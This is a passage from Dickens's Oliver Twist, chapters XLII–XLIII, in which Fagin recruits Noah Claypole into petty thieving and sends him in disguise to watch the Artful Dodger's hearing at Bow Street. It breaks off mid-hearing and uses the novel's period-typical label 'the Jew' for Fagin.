may he +be?' + +'That lady's son, and this young lady's--very old friend,' said +the doctor, motioning towards Mrs. Maylie, and concluding with an +expressive glance at her niece. + +Rose blushed deeply, but she did not make any audible objection +to this motion (possibly she felt in a hopeless minority); and +Harry Maylie and Mr. Grimwig were accordingly added to the +committee. + +'We stay in town, of course,' said Mrs. Maylie, 'while there +remains the slightest prospect of prosecuting this inquiry with a +chance of success. I will spare neither trouble nor expense in +behalf of the object in which we are all so deeply interested, +and I am content to remain here, if it be for twelve months, so +long as you assure me that any hope remains.' + +'Good!' rejoined Mr. Brownlow. 'And as I see on the faces about +me, a disposition to inquire how it happened that I was not in +the way to corroborate Oliver's tale, and had so suddenly left +the kingdom, let me stipulate that I shall be asked no questions +until such time as I may deem it expedient to forestall them by +telling my own story. Believe me, I make this request with good +reason, for I might otherwise excite hopes destined never to be +realised, and only increase difficulties and disappointments +already quite numerous enough. Come! Supper has been announced, +and young Oliver, who is all alone in the next room, will have +begun to think, by this time, that we have wearied of his +company, and entered into some dark conspiracy to thrust him +forth upon the world.' + +With these words, the old gentleman gave his hand to Mrs. Maylie, +and escorted her into the supper-room. Mr. Losberne followed, +leading Rose; and the council was, for the present, effectually +broken up. + + + + +CHAPTER XLII + +AN OLD ACQUAINTANCE OF OLIVER'S, EXHIBITING DECIDED MARKS OF +GENIUS, BECOMES A PUBLIC CHARACTER IN THE METROPOLIS + +Upon the night when Nancy, having lulled Mr. Sikes to sleep, +hurried on her self-imposed mission to Rose Maylie, there +advanced towards London, by the Great North Road, two persons, +upon whom it is expedient that this history should bestow some +attention. + +They were a man and woman; or perhaps they would be better +described as a male and female: for the former was one of those +long-limbed, knock-kneed, shambling, bony people, to whom it is +difficult to assign any precise age,--looking as they do, when +they are yet boys, like undergrown men, and when they are almost +men, like overgrown boys. The woman was young, but of a robust +and hardy make, as she need have been to bear the weight of the +heavy bundle which was strapped to her back. Her companion was +not encumbered with much luggage, as there merely dangled from a +stick which he carried over his shoulder, a small parcel wrapped +in a common handkerchief, and apparently light enough. This +circumstance, added to the length of his legs, which were of +unusual extent, enabled him with much ease to keep some +half-dozen paces in advance of his companion, to whom he +occasionally turned with an impatient jerk of the head: as if +reproaching her tardiness, and urging her to greater exertion. + +Thus, they had toiled along the dusty road, taking little heed of +any object within sight, save when they stepped aside to allow a +wider passage for the mail-coaches which were whirling out of +town, until they passed through Highgate archway; when the +foremost traveller stopped and called impatiently to his +companion, + +'Come on, can't yer? What a lazybones yer are, Charlotte.' + +'It's a heavy load, I can tell you,' said the female, coming up, +almost breathless with fatigue. + +'Heavy! What are yer talking about? What are yer made for?' +rejoined the male traveller, changing his own little bundle as he +spoke, to the other shoulder. 'Oh, there yer are, resting again! +Well, if yer ain't enough to tire anybody's patience out, I don't +know what is!' + +'Is it much farther?' asked the woman, resting herself against a +bank, and looking up with the perspiration streaming from her +face. + +'Much farther! Yer as good as there,' said the long-legged +tramper, pointing out before him. 'Look there! Those are the +lights of London.' + +'They're a good two mile off, at least,' said the woman +despondingly. + +'Never mind whether they're two mile off, or twenty,' said Noah +Claypole; for he it was; 'but get up and come on, or I'll kick +yer, and so I give yer notice.' + +As Noah's red nose grew redder with anger, and as he crossed the +road while speaking, as if fully prepared to put his threat into +execution, the woman rose without any further remark, and trudged +onward by his side. + +'Where do you mean to stop for the night, Noah?' she asked, after +they had walked a few hundred yards. + +'How should I know?' replied Noah, whose temper had been +considerably impaired by walking. + +'Near, I hope,' said Charlotte. + +'No, not near,' replied Mr. Claypole. 'There! Not near; so +don't think it.' + +'Why not?' + +'When I tell yer that I don't mean to do a thing, that's enough, +without any why or because either,' replied Mr. Claypole with +dignity. + +'Well, you needn't be so cross,' said his companion. + +'A pretty thing it would be, wouldn't it to go and stop at the +very first public-house outside the town, so that Sowerberry, if +he come up after us, might poke in his old nose, and have us +taken back in a cart with handcuffs on,' said Mr. Claypole in a +jeering tone. 'No! I shall go and lose myself among the +narrowest streets I can find, and not stop till we come to the +very out-of-the-wayest house I can set eyes on. 'Cod, yer may +thanks yer stars I've got a head; for if we hadn't gone, at +first, the wrong road a purpose, and come back across country, +yer'd have been locked up hard and fast a week ago, my lady. And +serve yer right for being a fool.' + +'I know I ain't as cunning as you are,' replied Charlotte; 'but +don't put all the blame on me, and say I should have been locked +up. You would have been if I had been, any way.' + +'Yer took the money from the till, yer know yer did,' said Mr. +Claypole. + +'I took it for you, Noah, dear,' rejoined Charlotte. + +'Did I keep it?' asked Mr. Claypole. + +'No; you trusted in me, and let me carry it like a dear, and so +you are,' said the lady, chucking him under the chin, and drawing +her arm through his. + +This was indeed the case; but as it was not Mr. Claypole's habit +to repose a blind and foolish confidence in anybody, it should be +observed, in justice to that gentleman, that he had trusted +Charlotte to this extent, in order that, if they were pursued, +the money might be found on her: which would leave him an +opportunity of asserting his innocence of any theft, and would +greatly facilitate his chances of escape. Of course, he entered +at this juncture, into no explanation of his motives, and they +walked on very lovingly together. + +In pursuance of this cautious plan, Mr. Claypole went on, without +halting, until he arrived at the Angel at Islington, where he +wisely judged, from the crowd of passengers and numbers of +vehicles, that London began in earnest. Just pausing to observe +which appeared the most crowded streets, and consequently the +most to be avoided, he crossed into Saint John's Road, and was +soon deep in the obscurity of the intricate and dirty ways, +which, lying between Gray's Inn Lane and Smithfield, render that +part of the town one of the lowest and worst that improvement has +left in the midst of London. + +Through these streets, Noah Claypole walked, dragging Charlotte +after him; now stepping into the kennel to embrace at a glance +the whole external character of some small public-house; now +jogging on again, as some fancied appearance induced him to +believe it too public for his purpose. At length, he stopped in +front of one, more humble in appearance and more dirty than any +he had yet seen; and, having crossed over and surveyed it from +the opposite pavement, graciously announced his intention of +putting up there, for the night. + +'So give us the bundle,' said Noah, unstrapping it from the +woman's shoulders, and slinging it over his own; 'and don't yer +speak, except when yer spoke to. What's the name of the +house--t-h-r--three what?' + +'Cripples,' said Charlotte. + +'Three Cripples,' repeated Noah, 'and a very good sign too. Now, +then! Keep close at my heels, and come along.' With these +injunctions, he pushed the rattling door with his shoulder, and +entered the house, followed by his companion. + +There was nobody in the bar but a young Jew, who, with his two +elbows on the counter, was reading a dirty newspaper. He stared +very hard at Noah, and Noah stared very hard at him. + +If Noah had been attired in his charity-boy's dress, there might +have been some reason for the Jew opening his eyes so wide; but +as he had discarded the coat and badge, and wore a short +smock-frock over his leathers, there seemed no particular reason +for his appearance exciting so much attention in a public-house. + +'Is this the Three Cripples?' asked Noah. + +'That is the dabe of this 'ouse,' replied the Jew. + +'A gentleman we met on the road, coming up from the country, +recommended us here,' said Noah, nudging Charlotte, perhaps to +call her attention to this most ingenious device for attracting +respect, and perhaps to warn her to betray no surprise. 'We want +to sleep here to-night.' + +'I'b dot certaid you cad,' said Barney, who was the attendant +sprite; 'but I'll idquire.' + +'Show us the tap, and give us a bit of cold meat and a drop of +beer while yer inquiring, will yer?' said Noah. + +Barney complied by ushering them into a small back-room, and +setting the required viands before them; having done which, he +informed the travellers that they could be lodged that night, and +left the amiable couple to their refreshment. + +Now, this back-room was immediately behind the bar, and some +steps lower, so that any person connected with the house, +undrawing a small curtain which concealed a single pane of glass +fixed in the wall of the last-named apartment, about five feet +from its flooring, could not only look down upon any guests in +the back-room without any great hazard of being observed (the +glass being in a dark angle of the wall, between which and a +large upright beam the observer had to thrust himself), but +could, by applying his ear to the partition, ascertain with +tolerable distinctness, their subject of conversation. The +landlord of the house had not withdrawn his eye from this place +of espial for five minutes, and Barney had only just returned +from making the communication above related, when Fagin, in the +course of his evening's business, came into the bar to inquire +after some of his young pupils. + +'Hush!' said Barney: 'stradegers id the next roob.' + +'Strangers!' repeated the old man in a whisper. + +'Ah! Ad rub uds too,' added Barney. 'Frob the cuttry, but +subthig in your way, or I'b bistaked.' + +Fagin appeared to receive this communication with great interest. + +Mounting a stool, he cautiously applied his eye to the pane of +glass, from which secret post he could see Mr. Claypole taking +cold beef from the dish, and porter from the pot, and +administering homeopathic doses of both to Charlotte, who sat +patiently by, eating and drinking at his pleasure. + +'Aha!' he whispered, looking round to Barney, 'I like that +fellow's looks. He'd be of use to us; he knows how to train the +girl already. Don't make as much noise as a mouse, my dear, and +let me hear 'em talk--let me hear 'em.' + +He again applied his eye to the glass, and turning his ear to the +partition, listened attentively: with a subtle and eager look +upon his face, that might have appertained to some old goblin. + +'So I mean to be a gentleman,' said Mr. Claypole, kicking out his +legs, and continuing a conversation, the commencement of which +Fagin had arrived too late to hear. 'No more jolly old coffins, +Charlotte, but a gentleman's life for me: and, if yer like, yer +shall be a lady.' + +'I should like that well enough, dear,' replied Charlotte; 'but +tills ain't to be emptied every day, and people to get clear off +after it.' + +'Tills be blowed!' said Mr. Claypole; 'there's more things +besides tills to be emptied.' + +'What do you mean?' asked his companion. + +'Pockets, women's ridicules, houses, mail-coaches, banks!' said +Mr. Claypole, rising with the porter. + +'But you can't do all that, dear,' said Charlotte. + +'I shall look out to get into company with them as can,' replied +Noah. 'They'll be able to make us useful some way or another. +Why, you yourself are worth fifty women; I never see such a +precious sly and deceitful creetur as yer can be when I let yer.' + +'Lor, how nice it is to hear yer say so!' exclaimed Charlotte, +imprinting a kiss upon his ugly face. + +'There, that'll do: don't yer be too affectionate, in case I'm +cross with yer,' said Noah, disengaging himself with great +gravity. 'I should like to be the captain of some band, and have +the whopping of 'em, and follering 'em about, unbeknown to +themselves. That would suit me, if there was good profit; and if +we could only get in with some gentleman of this sort, I say it +would be cheap at that twenty-pound note you've got,--especially +as we don't very well know how to get rid of it ourselves.' + +After expressing this opinion, Mr. Claypole looked into the +porter-pot with an aspect of deep wisdom; and having well shaken +its contents, nodded condescendingly to Charlotte, and took a +draught, wherewith he appeared greatly refreshed. He was +meditating another, when the sudden opening of the door, and the +appearance of a stranger, interrupted him. + +The stranger was Mr. Fagin. And very amiable he looked, and a +very low bow he made, as he advanced, and setting himself down at +the nearest table, ordered something to drink of the grinning +Barney. + +'A pleasant night, sir, but cool for the time of year,' said +Fagin, rubbing his hands. 'From the country, I see, sir?' + +'How do yer see that?' asked Noah Claypole. + +'We have not so much dust as that in London,' replied Fagin, +pointing from Noah's shoes to those of his companion, and from +them to the two bundles. + +'Yer a sharp feller,' said Noah. 'Ha! ha! only hear that, +Charlotte!' + +'Why, one need be sharp in this town, my dear,' replied the Jew, +sinking his voice to a confidential whisper; 'and that's the +truth.' + +Fagin followed up this remark by striking the side of his nose +with his right forefinger,--a gesture which Noah attempted to +imitate, though not with complete success, in consequence of his +own nose not being large enough for the purpose. However, Mr. +Fagin seemed to interpret the endeavour as expressing a perfect +coincidence with his opinion, and put about the liquor which +Barney reappeared with, in a very friendly manner. + +'Good stuff that,' observed Mr. Claypole, smacking his lips. + +'Dear!' said Fagin. 'A man need be always emptying a till, or a +pocket, or a woman's reticule, or a house, or a mail-coach, or a +bank, if he drinks it regularly.' + +Mr. Claypole no sooner heard this extract from his own remarks +than he fell back in his chair, and looked from the Jew to +Charlotte with a countenance of ashy paleness and excessive +terror. + +'Don't mind me, my dear,' said Fagin, drawing his chair closer. +'Ha! ha! it was lucky it was only me that heard you by chance. +It was very lucky it was only me.' + +'I didn't take it,' stammered Noah, no longer stretching out his +legs like an independent gentleman, but coiling them up as well +as he could under his chair; 'it was all her doing; yer've got it +now, Charlotte, yer know yer have.' + +'No matter who's got it, or who did it, my dear,' replied Fagin, +glancing, nevertheless, with a hawk's eye at the girl and the two +bundles. 'I'm in that way myself, and I like you for it.' + +'In what way?' asked Mr. Claypole, a little recovering. + +'In that way of business,' rejoined Fagin; 'and so are the people +of the house. You've hit the right nail upon the head, and are +as safe here as you could be. There is not a safer place in all +this town than is the Cripples; that is, when I like to make it +so. And I have taken a fancy to you and the young woman; so I've +said the word, and you may make your minds easy.' + +Noah Claypole's mind might have been at ease after this +assurance, but his body certainly was not; for he shuffled and +writhed about, into various uncouth positions: eyeing his new +friend meanwhile with mingled fear and suspicion. + +'I'll tell you more,' said Fagin, after he had reassured the +girl, by dint of friendly nods and muttered encouragements. 'I +have got a friend that I think can gratify your darling wish, and +put you in the right way, where you can take whatever department +of the business you think will suit you best at first, and be +taught all the others.' + +'Yer speak as if yer were in earnest,' replied Noah. + +'What advantage would it be to me to be anything else?' inquired +Fagin, shrugging his shoulders. 'Here! Let me have a word with +you outside.' + +'There's no occasion to trouble ourselves to move,' said Noah, +getting his legs by gradual degrees abroad again. 'She'll take +the luggage upstairs the while. Charlotte, see to them bundles.' + +This mandate, which had been delivered with great majesty, was +obeyed without the slightest demur; and Charlotte made the best +of her way off with the packages while Noah held the door open +and watched her out. + +'She's kept tolerably well under, ain't she?' he asked as he +resumed his seat: in the tone of a keeper who had tamed some +wild animal. + +'Quite perfect,' rejoined Fagin, clapping him on the shoulder. +'You're a genius, my dear.' + +'Why, I suppose if I wasn't, I shouldn't be here,' replied Noah. +'But, I say, she'll be back if yer lose time.' + +'Now, what do you think?' said Fagin. 'If you was to like my +friend, could you do better than join him?' + +'Is he in a good way of business; that's where it is!' responded +Noah, winking one of his little eyes. + +'The top of the tree; employs a power of hands; has the very best +society in the profession.' + +'Regular town-maders?' asked Mr. Claypole. + +'Not a countryman among 'em; and I don't think he'd take you, +even on my recommendation, if he didn't run rather short of +assistants just now,' replied Fagin. + +'Should I have to hand over?' said Noah, slapping his +breeches-pocket. + +'It couldn't possibly be done without,' replied Fagin, in a most +decided manner. + +'Twenty pound, though--it's a lot of money!' + +'Not when it's in a note you can't get rid of,' retorted Fagin. +'Number and date taken, I suppose? Payment stopped at the Bank? +Ah! It's not worth much to him. It'll have to go abroad, and he +couldn't sell it for a great deal in the market.' + +'When could I see him?' asked Noah doubtfully. + +'To-morrow morning.' + +'Where?' + +'Here.' + +'Um!' said Noah. 'What's the wages?' + +'Live like a gentleman--board and lodging, pipes and spirits +free--half of all you earn, and half of all the young woman +earns,' replied Mr. Fagin. + +Whether Noah Claypole, whose rapacity was none of the least +comprehensive, would have acceded even to these glowing terms, +had he been a perfectly free agent, is very doubtful; but as he +recollected that, in the event of his refusal, it was in the +power of his new acquaintance to give him up to justice +immediately (and more unlikely things had come to pass), he +gradually relented, and said he thought that would suit him. + +'But, yer see,' observed Noah, 'as she will be able to do a good +deal, I should like to take something very light.' + +'A little fancy work?' suggested Fagin. + +'Ah! something of that sort,' replied Noah. 'What do you think +would suit me now? Something not too trying for the strength, +and not very dangerous, you know. That's the sort of thing!' + +'I heard you talk of something in the spy way upon the others, my +dear,' said Fagin. 'My friend wants somebody who would do that +well, very much.' + +'Why, I did mention that, and I shouldn't mind turning my hand to +it sometimes,' rejoined Mr. Claypole slowly; 'but it wouldn't pay +by itself, you know.' + +'That's true!' observed the Jew, ruminating or pretending to +ruminate. 'No, it might not.' + +'What do you think, then?' asked Noah, anxiously regarding him. +'Something in the sneaking way, where it was pretty sure work, +and not much more risk than being at home.' + +'What do you think of the old ladies?' asked Fagin. 'There's a +good deal of money made in snatching their bags and parcels, and +running round the corner.' + +'Don't they holler out a good deal, and scratch sometimes?' asked +Noah, shaking his head. 'I don't think that would answer my +purpose. Ain't there any other line open?' + +'Stop!' said Fagin, laying his hand on Noah's knee. 'The kinchin +lay.' + +'What's that?' demanded Mr. Claypole. + +'The kinchins, my dear,' said Fagin, 'is the young children +that's sent on errands by their mothers, with sixpences and +shillings; and the lay is just to take their money away--they've +always got it ready in their hands,--then knock 'em into the +kennel, and walk off very slow, as if there were nothing else the +matter but a child fallen down and hurt itself. Ha! ha! ha!' + +'Ha! ha!' roared Mr. Claypole, kicking up his legs in an ecstasy. +'Lord, that's the very thing!' + +'To be sure it is,' replied Fagin; 'and you can have a few good +beats chalked out in Camden Town, and Battle Bridge, and +neighborhoods like that, where they're always going errands; and +you can upset as many kinchins as you want, any hour in the day. +Ha! ha! ha!' + +With this, Fagin poked Mr. Claypole in the side, and they joined +in a burst of laughter both long and loud. + +'Well, that's all right!' said Noah, when he had recovered +himself, and Charlotte had returned. 'What time to-morrow shall +we say?' + +'Will ten do?' asked Fagin, adding, as Mr. Claypole nodded +assent, 'What name shall I tell my good friend.' + +'Mr. Bolter,' replied Noah, who had prepared himself for such +emergency. 'Mr. Morris Bolter. This is Mrs. Bolter.' + +'Mrs. Bolter's humble servant,' said Fagin, bowing with grotesque +politeness. 'I hope I shall know her better very shortly.' + +'Do you hear the gentleman, Charlotte?' thundered Mr. Claypole. + +'Yes, Noah, dear!' replied Mrs. Bolter, extending her hand. + +'She calls me Noah, as a sort of fond way of talking,' said Mr. +Morris Bolter, late Claypole, turning to Fagin. 'You +understand?' + +'Oh yes, I understand--perfectly,' replied Fagin, telling the +truth for once. 'Good-night! Good-night!' + +With many adieus and good wishes, Mr. Fagin went his way. Noah +Claypole, bespeaking his good lady's attention, proceeded to +enlighten her relative to the arrangement he had made, with all +that haughtiness and air of superiority, becoming, not only a +member of the sterner sex, but a gentleman who appreciated the +dignity of a special appointment on the kinchin lay, in London +and its vicinity. + + + + +CHAPTER XLIII + +WHEREIN IS SHOWN HOW THE ARTFUL DODGER GOT INTO TROUBLE + +'And so it was you that was your own friend, was it?' asked Mr. +Claypole, otherwise Bolter, when, by virtue of the compact +entered into between them, he had removed next day to Fagin's +house. ''Cod, I thought as much last night!' + +'Every man's his own friend, my dear,' replied Fagin, with his +most insinuating grin. 'He hasn't as good a one as himself +anywhere.' + +'Except sometimes,' replied Morris Bolter, assuming the air of a +man of the world. 'Some people are nobody's enemies but their +own, yer know.' + +'Don't believe that,' said Fagin. 'When a man's his own enemy, +it's only because he's too much his own friend; not because he's +careful for everybody but himself. Pooh! pooh! There ain't such +a thing in nature.' + +'There oughn't to be, if there is,' replied Mr. Bolter. + +'That stands to reason. Some conjurers say that number three is +the magic number, and some say number seven. It's neither, my +friend, neither. It's number one. + +'Ha! ha!' cried Mr. Bolter. 'Number one for ever.' + +'In a little community like ours, my dear,' said Fagin, who felt +it necessary to qualify this position, 'we have a general number +one, without considering me too as the same, and all the other +young people.' + +'Oh, the devil!' exclaimed Mr. Bolter. + +'You see,' pursued Fagin, affecting to disregard this +interruption, 'we are so mixed up together, and identified in our +interests, that it must be so. For instance, it's your object to +take care of number one--meaning yourself.' + +'Certainly,' replied Mr. Bolter. 'Yer about right there.' + +'Well! You can't take care of yourself, number one, without +taking care of me, number one.' + +'Number two, you mean,' said Mr. Bolter, who was largely endowed +with the quality of selfishness. + +'No, I don't!' retorted Fagin. 'I'm of the same importance to +you, as you are to yourself.' + +'I say,' interrupted Mr. Bolter, 'yer a very nice man, and I'm +very fond of yer; but we ain't quite so thick together, as all +that comes to.' + +'Only think,' said Fagin, shrugging his shoulders, and stretching +out his hands; 'only consider. You've done what's a very pretty +thing, and what I love you for doing; but what at the same time +would put the cravat round your throat, that's so very easily +tied and so very difficult to unloose--in plain English, the +halter!' + +Mr. Bolter put his hand to his neckerchief, as if he felt it +inconveniently tight; and murmured an assent, qualified in tone +but not in substance. + +'The gallows,' continued Fagin, 'the gallows, my dear, is an ugly +finger-post, which points out a very short and sharp turning that +has stopped many a bold fellow's career on the broad highway. To +keep in the easy road, and keep it at a distance, is object +number one with you.' + +'Of course it is,' replied Mr. Bolter. 'What do yer talk about +such things for?' + +'Only to show you my meaning clearly,' said the Jew, raising his +eyebrows. 'To be able to do that, you depend upon me. To keep my +little business all snug, I depend upon you. The first is your +number one, the second my number one. The more you value your +number one, the more careful you must be of mine; so we come at +last to what I told you at first--that a regard for number one +holds us all together, and must do so, unless we would all go to +pieces in company.' + +'That's true,' rejoined Mr. Bolter, thoughtfully. 'Oh! yer a +cunning old codger!' + +Mr. Fagin saw, with delight, that this tribute to his powers was +no mere compliment, but that he had really impressed his recruit +with a sense of his wily genius, which it was most important that +he should entertain in the outset of their acquaintance. To +strengthen an impression so desirable and useful, he followed up +the blow by acquainting him, in some detail, with the magnitude +and extent of his operations; blending truth and fiction +together, as best served his purpose; and bringing both to bear, +with so much art, that Mr. Bolter's respect visibly increased, +and became tempered, at the same time, with a degree of wholesome +fear, which it was highly desirable to awaken. + +'It's this mutual trust we have in each other that consoles me +under heavy losses,' said Fagin. 'My best hand was taken from +me, yesterday morning.' + +'You don't mean to say he died?' cried Mr. Bolter. + +'No, no,' replied Fagin, 'not so bad as that. Not quite so bad.' + +'What, I suppose he was--' + +'Wanted,' interposed Fagin. 'Yes, he was wanted.' + +'Very particular?' inquired Mr. Bolter. + +'No,' replied Fagin, 'not very. He was charged with attempting +to pick a pocket, and they found a silver snuff-box on him,--his +own, my dear, his own, for he took snuff himself, and was very +fond of it. They remanded him till to-day, for they thought they +knew the owner. Ah! he was worth fifty boxes, and I'd give the +price of as many to have him back. You should have known the +Dodger, my dear; you should have known the Dodger.' + +'Well, but I shall know him, I hope; don't yer think so?' said +Mr. Bolter. + +'I'm doubtful about it,' replied Fagin, with a sigh. 'If they +don't get any fresh evidence, it'll only be a summary conviction, +and we shall have him back again after six weeks or so; but, if +they do, it's a case of lagging. They know what a clever lad he +is; he'll be a lifer. They'll make the Artful nothing less than +a lifer.' + +'What do you mean by lagging and a lifer?' demanded Mr. Bolter. +'What's the good of talking in that way to me; why don't yer +speak so as I can understand yer?' + +Fagin was about to translate these mysterious expressions into +the vulgar tongue; and, being interpreted, Mr. Bolter would have +been informed that they represented that combination of words, +'transportation for life,' when the dialogue was cut short by the +entry of Master Bates, with his hands in his breeches-pockets, +and his face twisted into a look of semi-comical woe. + +'It's all up, Fagin,' said Charley, when he and his new companion +had been made known to each other. + +'What do you mean?' + +'They've found the gentleman as owns the box; two or three more's +a coming to 'dentify him; and the Artful's booked for a passage +out,' replied Master Bates. 'I must have a full suit of +mourning, Fagin, and a hatband, to wisit him in, afore he sets +out upon his travels. To think of Jack Dawkins--lummy Jack--the +Dodger--the Artful Dodger--going abroad for a common +twopenny-halfpenny sneeze-box! I never thought he'd a done it +under a gold watch, chain, and seals, at the lowest. Oh, why +didn't he rob some rich old gentleman of all his walables, and go +out as a gentleman, and not like a common prig, without no honour +nor glory!' + +With this expression of feeling for his unfortunate friend, +Master Bates sat himself on the nearest chair with an aspect of +chagrin and despondency. + +'What do you talk about his having neither honour nor glory for!' +exclaimed Fagin, darting an angry look at his pupil. 'Wasn't he +always the top-sawyer among you all! Is there one of you that +could touch him or come near him on any scent! Eh?' + +'Not one,' replied Master Bates, in a voice rendered husky by +regret; 'not one.' + +'Then what do you talk of?' replied Fagin angrily; 'what are you +blubbering for?' + +''Cause it isn't on the rec-ord, is it?' said Charley, chafed +into perfect defiance of his venerable friend by the current of +his regrets; ''cause it can't come out in the 'dictment; 'cause +nobody will never know half of what he was. How will he stand in +the Newgate Calendar? P'raps not be there at all. Oh, my eye, +my eye, wot a blow it is!' + +'Ha! ha!' cried Fagin, extending his right hand, and turning to +Mr. Bolter in a fit of chuckling which shook him as though he had +the palsy; 'see what a pride they take in their profession, my +dear. Ain't it beautiful?' + +Mr. Bolter nodded assent, and Fagin, after contemplating the +grief of Charley Bates for some seconds with evident +satisfaction, stepped up to that young gentleman and patted him +on the shoulder. + +'Never mind, Charley,' said Fagin soothingly; 'it'll come out, +it'll be sure to come out. They'll all know what a clever fellow +he was; he'll show it himself, and not disgrace his old pals and +teachers. Think how young he is too! What a distinction, +Charley, to be lagged at his time of life!' + +'Well, it is a honour that is!' said Charley, a little consoled. + +'He shall have all he wants,' continued the Jew. 'He shall be +kept in the Stone Jug, Charley, like a gentleman. Like a +gentleman! With his beer every day, and money in his pocket to +pitch and toss with, if he can't spend it.' + +'No, shall he though?' cried Charley Bates. + +'Ay, that he shall,' replied Fagin, 'and we'll have a big-wig, +Charley: one that's got the greatest gift of the gab: to carry +on his defence; and he shall make a speech for himself too, if he +likes; and we'll read it all in the papers--"Artful +Dodger--shrieks of laughter--here the court was convulsed"--eh, +Charley, eh?' + +'Ha! ha!' laughed Master Bates, 'what a lark that would be, +wouldn't it, Fagin? I say, how the Artful would bother 'em +wouldn't he?' + +'Would!' cried Fagin. 'He shall--he will!' + +'Ah, to be sure, so he will,' repeated Charley, rubbing his +hands. + +'I think I see him now,' cried the Jew, bending his eyes upon his +pupil. + +'So do I,' cried Charley Bates. 'Ha! ha! ha! so do I. I see it +all afore me, upon my soul I do, Fagin. What a game! What a +regular game! All the big-wigs trying to look solemn, and Jack +Dawkins addressing of 'em as intimate and comfortable as if he +was the judge's own son making a speech arter dinner--ha! ha! +ha!' + +In fact, Mr. Fagin had so well humoured his young friend's +eccentric disposition, that Master Bates, who had at first been +disposed to consider the imprisoned Dodger rather in the light of +a victim, now looked upon him as the chief actor in a scene of +most uncommon and exquisite humour, and felt quite impatient for +the arrival of the time when his old companion should have so +favourable an opportunity of displaying his abilities. + +'We must know how he gets on to-day, by some handy means or +other,' said Fagin. 'Let me think.' + +'Shall I go?' asked Charley. + +'Not for the world,' replied Fagin. 'Are you mad, my dear, stark +mad, that you'd walk into the very place where--No, Charley, no. +One is enough to lose at a time.' + +'You don't mean to go yourself, I suppose?' said Charley with a +humorous leer. + +'That wouldn't quite fit,' replied Fagin shaking his head. + +'Then why don't you send this new cove?' asked Master Bates, +laying his hand on Noah's arm. 'Nobody knows him.' + +'Why, if he didn't mind--' observed Fagin. + +'Mind!' interposed Charley. 'What should he have to mind?' + +'Really nothing, my dear,' said Fagin, turning to Mr. Bolter, +'really nothing.' + +'Oh, I dare say about that, yer know,' observed Noah, backing +towards the door, and shaking his head with a kind of sober +alarm. 'No, no--none of that. It's not in my department, that +ain't.' + +'Wot department has he got, Fagin?' inquired Master Bates, +surveying Noah's lank form with much disgust. 'The cutting away +when there's anything wrong, and the eating all the wittles when +there's everything right; is that his branch?' + +'Never mind,' retorted Mr. Bolter; 'and don't yer take liberties +with yer superiors, little boy, or yer'll find yerself in the +wrong shop.' + +Master Bates laughed so vehemently at this magnificent threat, +that it was some time before Fagin could interpose, and represent +to Mr. Bolter that he incurred no possible danger in visiting the +police-office; that, inasmuch as no account of the little affair +in which he had engaged, nor any description of his person, had +yet been forwarded to the metropolis, it was very probable that +he was not even suspected of having resorted to it for shelter; +and that, if he were properly disguised, it would be as safe a +spot for him to visit as any in London, inasmuch as it would be, +of all places, the very last, to which he could be supposed +likely to resort of his own free will. + +Persuaded, in part, by these representations, but overborne in a +much greater degree by his fear of Fagin, Mr. Bolter at length +consented, with a very bad grace, to undertake the expedition. +By Fagin's directions, he immediately substituted for his own +attire, a waggoner's frock, velveteen breeches, and leather +leggings: all of which articles the Jew had at hand. He was +likewise furnished with a felt hat well garnished with turnpike +tickets; and a carter's whip. Thus equipped, he was to saunter +into the office, as some country fellow from Covent Garden market +might be supposed to do for the gratification of his curiousity; +and as he was as awkward, ungainly, and raw-boned a fellow as +need be, Mr. Fagin had no fear but that he would look the part to +perfection. + +These arrangements completed, he was informed of the necessary +signs and tokens by which to recognise the Artful Dodger, and was +conveyed by Master Bates through dark and winding ways to within +a very short distance of Bow Street. Having described the precise +situation of the office, and accompanied it with copious +directions how he was to walk straight up the passage, and when +he got into the side, and pull off his hat as he went into the +room, Charley Bates bade him hurry on alone, and promised to bide +his return on the spot of their parting. + +Noah Claypole, or Morris Bolter as the reader pleases, punctually +followed the directions he had received, which--Master Bates +being pretty well acquainted with the locality--were so exact +that he was enabled to gain the magisterial presence without +asking any question, or meeting with any interruption by the way. + +He found himself jostled among a crowd of people, chiefly women, +who were huddled together in a dirty frowsy room, at the upper +end of which was a raised platform railed off from the rest, with +a dock for the prisoners on the left hand against the wall, a box +for the witnesses in the middle, and a desk for the magistrates +on the right; the awful locality last named, being screened off +by a partition which concealed the bench from the common gaze, +and left the vulgar to imagine (if they could) the full majesty +of justice. + +There were only a couple of women in the dock, who were nodding +to their admiring friends, while the clerk read some depositions +to a couple of policemen and a man in plain clothes who leant +over the table. A jailer stood reclining against the dock-rail, +tapping his nose listlessly with a large key, except when he +repressed an undue tendency to conversation among the idlers, by +proclaiming silence; or looked sternly up to bid some woman 'Take +that baby out,' when the gravity of justice was disturbed by +feeble cries, half-smothered in the mother's shawl, from some +meagre infant. The room smelt close and unwholesome; the walls +were dirt-discoloured; and the ceiling blackened. There was an +old smoky bust over the mantel-shelf, and a dusty clock above the +dock--the only thing present, that seemed to go on as it ought; +for depravity, or poverty, or an habitual acquaintance with both, +had left a taint on all the animate matter, hardly less +unpleasant than the thick greasy scum on every inamimate object +that frowned upon it. + +Noah looked eagerly about him for the Dodger; but although there +were several women who would have done very well for that +distinguished character's mother or sister, and more than one man +who might be supposed to bear a strong resemblance to his father, +nobody at all answering the description given him of Mr. Dawkins +was to be seen. He waited in a state of much suspense and +uncertainty until the women, being committed for trial, went +flaunting out; and then was quickly relieved by the appearance of +another prisoner who he felt at once could be no other than the +object of his visit. + +It was indeed Mr. Dawkins, who, shuffling into the office with +the big coat sleeves tucked up as usual, his left hand in his +pocket, and his hat in his right hand, preceded the jailer, with +a rolling gait altogether indescribable, and, taking his place in +the dock, requested in an audible voice to know what he was +placed in that 'ere disgraceful sitivation for. + +'Hold your tongue, will you?' said the jailer. + +'I'm an Englishman, ain't I?' rejoined the Dodger. 'Where are my +priwileges?' + +'You'll get your privileges soon enough,' retorted the jailer, +'and pepper with 'em.' + +'We'll see wot the Secretary of State for the Home Affairs has +got to say to the beaks, if I don't,' replied Mr. Dawkins. 'Now +then! Wot is this here business? I shall thank the madg'strates +to dispose of this here little affair, and not to keep me while +they read the paper, for I've got an appointment with a genelman +in the City, and as I am a man of my word and wery punctual in +business matters, he'll go away if I ain't there to my time, and +then pr'aps ther won't be an action for damage against them as +kep me away. Oh no, certainly not!' + +At this point, the Dodger, with a show of being very particular +with a view to proceedings to be had thereafter, desired the +jailer to communicate 'the names of them two files as was on the +bench.' Which so tickled the spectators, that they laughed +almost as heartily as Master Bates could have done if he had +heard the request. + +'Silence there!' cried the jailer. + +'What is this?' inquired one of the magistrates. + +'A pick-pocketing case, your worship.' + 